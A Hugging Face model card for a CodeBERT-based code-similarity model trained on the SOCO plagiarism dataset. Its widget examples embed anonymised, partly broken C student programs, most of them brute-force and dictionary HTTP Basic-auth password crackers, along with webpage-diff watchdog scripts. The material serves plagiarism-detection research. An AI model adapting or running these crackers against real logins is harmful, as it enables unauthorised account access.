Model: buelfhood/SOCO-C-CodeBERT-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:3081, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:microsoft/codebert-base, base_model:finetune:microsoft/codebert-base, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/codebert-base
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:3081, loss:BatchAllTripletLoss
base_model: microsoft/codebert-base
widget: source_sentence: #include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9

int ()
{
char c[2],[3][2];
register int i,j,k,x,y,z,t,r,s,final,count=0;
int starttime,endtime,totaltime; 
char ch[5],ch1[5],ch2[5],s1[100],s2[100];
c[0]='A',c[1]='a';
[0][1]=[1][1]=[2][1]='\0';

strcpy(s1, "wget --http-user= --http-passwd=");
    strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");

starttime=time();

for(r=0;r<=1;r++)
{
	
	for(i=c[r],x=0;x<=25;x++,i++)
	{
		
		 [0][0]=i;
		 strcpy(ch,[0]);


		for(s=0;s<=1;s++)
		{
			for(j=c[s],z=0;z<=25;z++,j++)
			{	
		
				[1][0]=j;
				strcpy(ch1,[0]);
				strcat(ch1,[1]);

				for(t=0;t<=1;t++)
				{
					for(k=c[t],y=0;y<=25;y++,k++)
					{	count++;
						[2][0]=k;
						strcpy(ch2,ch1);
						strcat(ch2,[2]);
						printf("\n  %s",ch2);



         strcat(s1, ch2);
          strcat(s1, s2);
	  printf("\n combination sent %s\n", s1);
          final = system(s1);
          if (final == 0)
          {
            endtime=time();
		totaltime=(endtime-starttime);
		 printf("count %d",count);
	    printf("totaltime %1f",(double)totaltime/ant);
	    printf("\nsuccess %s\n",ch2);
            exit(1);
          }


	  strcpy(s1, "");
	  strcpy(s1, "wget --http-user= --http-passwd=");


				}

				}
			}

		}
	   }
}

}




sentences: 



#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>

#define BUFFER_SIZE 2000
#define RETURN_OK 0
#define RETURN_ERROR 1
#define TRUE  1
#define FALSE 0
#define PASSWORD_LENGTH 3

#define STATUS_OK            200
#define STATUS_AUTH_REQUIRED 401
#define CONN_CLOSED          2


char *host;
char *filename;
int  ;
char *url;
char *username;
int attempt;
struct sockaddr_in serverAddr;


void processArguments(int, char **argv, char **, char **);
void printUsage(char *);
void splitURL(const char *, char **, char **);
int openConnection();
void initialiseConnection();
void sendRequest(int, char *, char *, char *, char *);
int getResponseStatus(int);
void base64_encode(const unsigned char *, unsigned char *);
void getHostErrorMsg(char *);
void generatePassword(char *, int);
void testPassword(char *);




int main(int argc, char *argv[])
{
    char password[PASSWORD_LENGTH+1];
    int i;

    

    attempt = 0;
    processArguments(argc, argv, &url, &username);
    splitURL(url, &host, &filename);

    initialiseConnection();
     = openConnection();

    

    for (i=1; i<=PASSWORD_LENGTH; i++)
    {
        memset(password, 0, PASSWORD_LENGTH+1);
        generatePassword(password, i);
    }

    printf("The password has not been cracked\n");
    exit(RETURN_OK);

}




void generatePassword(char *password, int reqLength)
{
    static const char *chars = 
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

    int currLength;
    int i;

    currLength = strlen(password);
    currLength++;

    for (i=0; i<strlen(chars); i++)
    {
        password[currLength-1] = chars[i];

        if (strlen(password) != reqLength)
        {
           
           generatePassword(password, reqLength);
        }
        else
        {
           testPassword(password);
        }

        password[currLength] = '\0';
    }
}




void testPassword(char *password)
{
    int status;

    attempt++;

    
TestPassword:
    sendRequest(, host, filename, username, password);
    status = getResponseStatus();

    if (status == STATUS_OK)
    {
        printf("The password has been found after %d attempts: %s\n",
               attempt, password);
        exit(RETURN_OK);
    }
    else if (status == CONN_CLOSED)
    {
        
        ();
         = openConnection();
        goto TestPassword;        
    }
    else if (status != STATUS_AUTH_REQUIRED)
    {
        printf("Status %d received from server\n", status);
        exit(RETURN_ERROR);
    }

}




void processArguments(int argc, char *argv[], char **url, char **username)
{
    if (argc != 3)
    {
        printUsage(argv[0]);
        exit(1);
    }

    *url = (char *) malloc(strlen(argv[1] + 1));
    strcpy(*url, argv[1]);

    *username = (char *) malloc(strlen(argv[2] + 1));
    strcpy(*username, argv[2]);

}





void printUsage(char *program)
{
    fprintf(stderr, "Usage:\n");
    fprintf(stderr, "%s url username\n", program);
}




void splitURL(const char *url, char **host, char **file)
{
    char *p1; 
    char *p2;

    
    p1 = strstr(url, "//");
    if (p1 == NULL)
        p1 = (char *) url;
    else
        p1 = p1 + 2;

    
    p2 = strstr(p1, "/");
    if (p2 == NULL)
    {
        fprintf(stderr, "Invalid url\n");
        exit(RETURN_ERROR);
    }

    *host = (char *) malloc(p2-p1+2);
    strncpy(*host, p1, p2-p1);
    (*host)[p2-p1] = '\0';

    *file = (char *) malloc(strlen(p2+1));
    strcpy(*file, p2);

}




void sendRequest(int , char *host, char *filename, char *username, 
                 char *password)
{
    char message[BUFFER_SIZE];
    unsigned char encoded[BUFFER_SIZE];
    unsigned char token[BUFFER_SIZE];

    

    
    sprintf((char *) token, "%s:%s", username, password);
    base64_encode(token, encoded);

    sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization:  %s\n\n",
            filename, host, encoded);

    if (write(, message, strlen(message)) == -1)
    {
        perror("");
        exit(RETURN_ERROR);
    }
}




int getResponseStatus()
{
    char message[BUFFER_SIZE];
    int  bytesRead;
    char *p1;
    char status_str[4];
    int  status;

    

    while (TRUE)
    {
        bytesRead = (, message, BUFFER_SIZE-1);
        if (bytesRead == -1)
        {
            perror("");
            exit(RETURN_ERROR);
        }
        else if (bytesRead == 0)
        {
            
            return CONN_CLOSED;
        }

        message[bytesRead+1] = '\0';

        
        p1 = strstr(message, "HTTP");
        if (p1 != NULL)
        {
            p1 = p1 + 9;
            break;
        }
    }

    strncpy(status_str, p1, 3);
    status_str[3] = '\0';
    status = atol(status_str);

    return status;
}




int openConnection()
{
    int ;

    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("");
        exit(RETURN_ERROR);
    }

    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)
    {
        perror("connect");
        exit(RETURN_ERROR);
    }

    return ;
}




void initialiseConnection()
{
    struct hostent *serverHostent;
    unsigned  serverIP;
    char errorMsg[BUFFER_SIZE]; 


    

    memset(&serverAddr, 0, sizeof(serverAddr));
    serverAddr.sin_port = htons(80);


    if ((serverIP = inet_addr(host)) != -1)
    {
        serverAddr.sin_family = AF_INET;
        serverAddr.sin_addr.s_addr = serverIP;
    }
    else if ((serverHostent = gethostbyname(host)) != NULL)
    {
	serverAddr.sin_family = serverHostent->h_addrtype;
        memcpy((void *) &serverAddr.sin_addr,
		 (void *) serverHostent->h_addr, serverHostent->h_length);
    }
    else
    {
       getHostErrorMsg(errorMsg);
       printf("%s: %s\n", host, errorMsg);
       exit(RETURN_ERROR);
    }
}



 
void base64_encode(const unsigned char *input, unsigned char *output)
{
    static const char *codes = 
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    int i;
    int len;
    int lenfull;
    unsigned char *p;
    int a;
    int b;
    int c;
    
    p = output;
    len = strlen((char *) input);

    

    lenfull = 3*(len / 3);
    for (i = 0; i < lenfull; i += 3) 
    {
        *p++ = codes[input[0] >> 2];
        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];
        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];
        *p++ = codes[input[2] & 0x3f];
        input += 3;
    }


    

    if (i < len)
    {
        a = input[0];
        b = (i+1 < len) ? input[1] : 0;
        c = 0;

        *p++ = codes[a >> 2];
        *p++ = codes[((a & 3) << 4) + (b >> 4)];
        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
        *p++ = '=';
    }

    
    *p = '\0';
 
}




void getHostErrorMsg(char *message)
{
    switch (h_errno)
    {
         HOST_NOT_FOUND :
             strcpy(message, "The specified host is unknown");
             break;

         NO_DATA:
             strcpy(message, "The specified host name is valid, but does not have   address");
             break;

         NO_RECOVERY:
             strcpy(message, "A non-recoverable name server error occurred");
             break;

         TRY_AGAIN:
             strcpy(message, "A temporary error occurred   authoritative name server. Try again later.");
             break;

        default:
             strcpy(message, " unknown name server error occurred.");
    }
}

, # include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}
, #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
, source_sentence: 

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}

sentences: #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
				  


#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52

#define TRUE 1
#define FALSE 0








typedef int (*CrackFuncPtr)(const char*, const char*);

int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);

int ()
{
	char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
							'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 
							'W', 'X', 'Y', 'Z',
							'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
							'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
							'w', 'x', 'y', 'z'};
	
	char charSetS[] = {'A', 'B', 'C'};

	int i; 
	
	for (i=1; i<=MAX_PASSWD_LEN; i++)
	{
		if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
		{
			return 0;
		}
	}

	printf("\n...password not found\n");							 	
	return 0;
}

int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
	int iter; 
	int chIter; 
	int curPos = 0; 
	
	char *str;
	
	int passwdFound = FALSE;
	
	str = initPasswdStr(len, chSet[0]);

	printf("\nNow trying %d character(s)\n", len);


	for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
	{
		for (chIter=len-1; chIter>=0; chIter--)
		{
			if (iter % pow(numOfCh, chIter) == 0) 
			{
				curPos = getChPos(chSet, numOfCh, str[chIter]);
				str[chIter] = chSet[curPos+1];
			}

			if (iter % pow(numOfCh, (chIter+1)) == 0) 
			{
				str[chIter] = chSet[0];
			}
		}
		
		if (func(USERNAME, str))
		{
			printf("\nPassword found: %s\n", str);
			passwdFound = TRUE;
		}

		
		printf(".");
					
	}

	(str);
	str = NULL;

	return passwdFound;
}

int getChPos(const char chSet[], int numOfCh, char ch)
{
	int i;
	
	for (i=0; i<numOfCh; i++)
	{
		if (chSet[i] == ch)
		{
			return i;
		}
	}

	return -1;
	
}

char* initPasswdStr(int len, char ch)
{
	int i;

	char *str;

	str = malloc(len);

	if (str)
	{
		for (i=0; i<len; i++)
		{
			str[i] = ch;
		}
		str[len] = '\0';
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d bytes memory.");
		exit(1);
	}
	
	return str;
}

int pow(int x, int y)
{
	int ans = 1, i;
	
	for (i=0; i<y; i++)
	{
		ans *= x;
	}

	return ans;
}

int crackHTTPAuth(const char *username, const char *passwd)
{
	char cmd[256];
	struct stat fileInfo;
	
	sprintf(cmd, "wget -O  -q --http-user=%s --http-passwd=%s --proxy=off %s", 
						username, passwd, URL);

	system(cmd);	

	(void)stat("", &fileInfo); 

	return fileInfo.st_size;
	
}

, #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
, #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
 char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 int a=0,b=0,c=0,d,e,count=0;
 char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
 char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
 
 int  ,end,t;
  = time(); 
while(sizeof(lc)!=52)
{
     temp2[0]=lc[d];
     temp2[1]='\0';
     d=d+1;
     strcpy(p,temp2);
   
   while(sizeof(uc)!=52)
   {
      temp3[0]=uc[b];
      temp3[1]='\0';
      b=b+1;
      strcpy(q,p);
      strcat(q,temp3);
    for(e=0;e<52;e++)
    {
        temp1[0]=gc[e];
	temp1[1]='\0';
	strcpy(r,q);
	strcat(r,temp1);
       strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
       strcat(mx,r);
       printf("temp3=%s\n",mx);
       if(system(mx)==0)
       { 
         printf("Password=%s\n",mx);
	 printf("%d \n",count);
	 end = time();
         t = (end -);
         t /= 1000000000.0;
         printf("The total time_var taken is:%llds\n",t);
	 exit(1);
       
       }
      }
     }
 }
 return 0;
}
, source_sentence: 











#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }


sentences: #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}
, #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>

#define MAX_SIZE 255


int CrackPasswd(FILE *fp)
{
   int i, cnt, flag;
   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];
   char fin;
   
   strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(string2," --http-user= --http-passwd='");
   strcpy(,"");

   while ((fin = fgetc(fp)) != EOF)
   {
      cnt = 0;
      
      for (i=0;i<MAX_SIZE;i++)
      {   
         passwd[i] = '\0';
         [i] = '\0';
      }
	 
      while(fin != '\n')
      {
	 passwd[cnt] = fin;
	 cnt++;
	 fin = fgetc(fp);
      } 
         
      if(strlen(passwd) <= 3)
      {
         strcat(, string1);
         strcat(, string2);
	 strcat(, passwd);
	 strcat(, "'");
	 printf("Sending Request as %s\n",);
	 flag = system();
	  
         if (flag == 0)
	 {
            printf("\nPassword is %s\n",passwd);
	    return 1;
	 }
         
	 strcpy(,""); 
         strcpy(passwd,"");
       }
    }
}  


int  (int argc, char *argv[])
{
   char *fname;
   FILE *fp;
   
   int , end;    
   
    = time();
    
   if (argc != 2)
   {
      fprintf(stdout,"Usage : ./Dictionary <dictionary>\n");
      return(EXIT_FAILURE);
   }
   
   fname = argv[1];
   
   if((fp = fopen(fname, "r")) == NULL)
   {
      fprintf(stderr,"Error : Failed  open %s for . \n",fname);
      return(EXIT_FAILURE);
   }
   
   CrackPasswd(fp);
  
   end = time(); 
   printf("Time Required = %lld msec\n",(end-)/());
   return (EXIT_SUCCESS);
  
}
     
	   
	  	
, #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }
, source_sentence: #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>

#define MAX_SIZE 255


int CrackPasswd(FILE *fp)
{
   int i, cnt, flag;
   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];
   char fin;
   
   strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(string2," --http-user= --http-passwd='");
   strcpy(,"");

   while ((fin = fgetc(fp)) != EOF)
   {
      cnt = 0;
      
      for (i=0;i<MAX_SIZE;i++)
      {   
         passwd[i] = '\0';
         [i] = '\0';
      }
	 
      while(fin != '\n')
      {
	 passwd[cnt] = fin;
	 cnt++;
	 fin = fgetc(fp);
      } 
         
      if(strlen(passwd) <= 3)
      {
         strcat(, string1);
         strcat(, string2);
	 strcat(, passwd);
	 strcat(, "'");
	 printf("Sending Request as %s\n",);
	 flag = system();
	  
         if (flag == 0)
	 {
            printf("\nPassword is %s\n",passwd);
	    return 1;
	 }
         
	 strcpy(,""); 
         strcpy(passwd,"");
       }
    }
}  


int  (int argc, char *argv[])
{
   char *fname;
   FILE *fp;
   
   int , end;    
   
    = time();
    
   if (argc != 2)
   {
      fprintf(stdout,"Usage : ./Dictionary <dictionary>\n");
      return(EXIT_FAILURE);
   }
   
   fname = argv[1];
   
   if((fp = fopen(fname, "r")) == NULL)
   {
      fprintf(stderr,"Error : Failed  open %s for . \n",fname);
      return(EXIT_FAILURE);
   }
   
   CrackPasswd(fp);
  
   end = time(); 
   printf("Time Required = %lld msec\n",(end-)/());
   return (EXIT_SUCCESS);
  
}
     
	   
	  	

sentences: #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  FILE *fp; 
  char *chk,[4];
  int i=1;
  while (i == 1) 
  {
  
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");

  system("mkdir first"); 
  system("mkdir second"); 

  
  system("mv www.cs.rmit.edu./images/*.*  first/");
  system("mv www.cs.rmit.edu./students/*.* first/");

  sleep(86400); 

  
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");

  
  system("mv www.cs.rmit.edu./images/*.* second/");
  system("mv www.cs.rmit.edu./students/*.* second/");

  
  
  system("diff first second > imagesdifference.txt");

  
  fp = fopen("imagesdifference.txt","r");
  
  chk = fgets(, 4, fp);
  
  if (strlen() != 0)
     system("mailx -s  \"Difference from WatchDog\"  < imagesdifference.txt");
  }
  return 0;
}
, 


 

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/signal.h>			  


#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define NUM_OF_PROCESSES 4

#define TRUE 1
#define FALSE 0










typedef int (*CrackFuncPtr)(const char*, const char*, int);


int pwdFound;
int cDie;


int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func
						, int sCh, int eCh, int id);
char* initPasswdStr(int len, char ch, char headOfChSet);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd, int id);
int myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func
				, int sCh, int eCh);





void passwdFoundHandler(int signum)
{
	pwdFound = TRUE;
}



void childFinishHandler(int signum)
{
	cDie++;	
}





int main()
{
	char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 
                     'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 
					 'W', 'X', 'Y', 'Z',	
					 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',	
					 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
					 'w', 'x', 'y', 'z'};
	

	int i;	
	int pid[NUM_OF_PROCESSES];

	pwdFound = FALSE;
	cDie = 0;
	
	for (i=0; i<NUM_OF_PROCESSES; i++)
	{
		pid[i] = myFork(charSet, MAX_CHAR_SET, MAX_PASSWD_LEN, crackHTTPAuth, 
						(((MAX_CHAR_SET /NUM_OF_PROCESSES)*i)+1)-1, 
						(MAX_CHAR_SET /NUM_OF_PROCESSES)*(i+1)-1);
	}

	
	for (;;)
	{
		signal(SIGUSR1, passwdFoundHandler);
		signal(SIGUSR2, childFinishHandler);

		
		if (pwdFound)
		{
			for (i=0; i<4; i++)
			{
				kill((int)pid[i], SIGKILL);
			}
			exit(EXIT_SUCCESS);
		}

		
		if (cDie >= NUM_OF_PROCESSES)
		{
			exit(EXIT_SUCCESS);
		}

	}
	return EXIT_SUCCESS;
}



int myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func,
				int sCh, int eCh)
{
	int i;
	
	int pid = fork();

	if (pid == 0)
	{
		for (i=1; i<=len; i++)
		{
			if (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))
			{	
				
 				if (!kill(getppid(), SIGUSR1))
				{
					printf("Process %d found the password and notified the parent process already", 
									(int)getpid());
				}

				exit(EXIT_SUCCESS);
			}
		}

		
		if (!kill(getppid(), SIGUSR2))
		{
			printf("Process %d could not found the password and notified the parent process already", 
									(int)getpid());
		}
		
		exit(EXIT_SUCCESS);
	}
	else if (pid > 0)
	{
		return pid;
	}
	else
	{
		printf("error\n");
		exit(EXIT_FAILURE);
	}
}



int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func
						, int sCh, int eCh, int id)
{
	int iter; 
	int chIter; 
	int curPos = 0; 
	
	char *str;
	
	int passwdFound = FALSE;
	
	str = initPasswdStr(len, chSet[sCh], chSet[0]);

	printf("\nNow trying %d character(s)\n", len);

	for (iter=0; (iter<pow(numOfCh, (len-1))*(eCh-sCh+1))&&(!passwdFound); iter++)
	{
		for (chIter=len-1; chIter>=0; chIter--)
		{
			if (iter % pow(numOfCh, chIter) == 0) 
			{
				curPos = getChPos(chSet, numOfCh, str[chIter]);
				str[chIter] = chSet[curPos+1];
			}

			if (iter % pow(numOfCh, (chIter+1)) == 0) 
			{
				if (chIter == len-1)
				{
					str[chIter] = chSet[sCh];
				}
				else
				{
					str[chIter] = chSet[0];
				}
			}
		}

		if (func(USERNAME, str, id))
		{
			printf("\nPassword found: %s\n\n", str);
			passwdFound = TRUE;
		}			
	}

	(str);
	str = NULL;
	
	return passwdFound;
}



int getChPos(const char chSet[], int numOfCh, char ch)
{
	int i;
	
	for (i=0; i<numOfCh; i++)
	{
		if (chSet[i] == ch)
		{
			return i;
		}
	}

	return -1;
	
}



char* initPasswdStr(int len, char ch, char headOfChSet)
{
	int i;

	char *str;

